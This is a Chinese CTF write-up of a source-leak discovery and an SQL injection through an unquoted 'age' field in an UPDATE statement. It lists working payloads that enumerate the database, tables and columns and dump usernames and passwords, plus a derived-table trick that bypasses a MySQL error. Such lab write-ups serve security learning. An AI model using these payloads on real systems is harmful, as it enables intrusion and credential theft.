好烦啊干啥都得注册_update注入
0x01.dirsearch扫一下发现有www.tar.gz源码泄露
0x02.审计以下源码
在update.php文件中首先可以看到代码对上传的数据addslashes转义。
if(!get_magic_quotes_gpc())
foreach($_POST as $key=>$value){
$_POST[$key]=addslashes($value);
}
0x03.观察sql语句发现age没有单引号包裹
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");
0x04,构造poc
(select 123)
可以看到age确实变为123了.
0x05.构造exp
1.爆库
(select database())
2.爆表
(select group_concat(table_name) from information_schema.tables where table_schema=database())
3.爆字段
(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)
其实在知道只有一个users数据表时可以看看源码中的users字段.
4.爆数据
(select group_concat(username) from users)
(select description from users where username=0x61646d696e)
前面两个sql语句报错,baidu发现https://www.pianshen.com/article/4521309078/
爆了这个错误,继续baidu,发现这个错误意思是不能先select出同一表中的某些值,再update这个表(在同一语句中)。恍然大悟,总算找到问题所在:)
将select出的结果再通过中间表select一遍,这样就规避了错误。注意,这个问题只出现于mysql,mssql和oracle不会出现此问题。修改payload:
(select * from (select GROUP_CONCAT(username,0x7e,password,0x7e,description) from users)as a)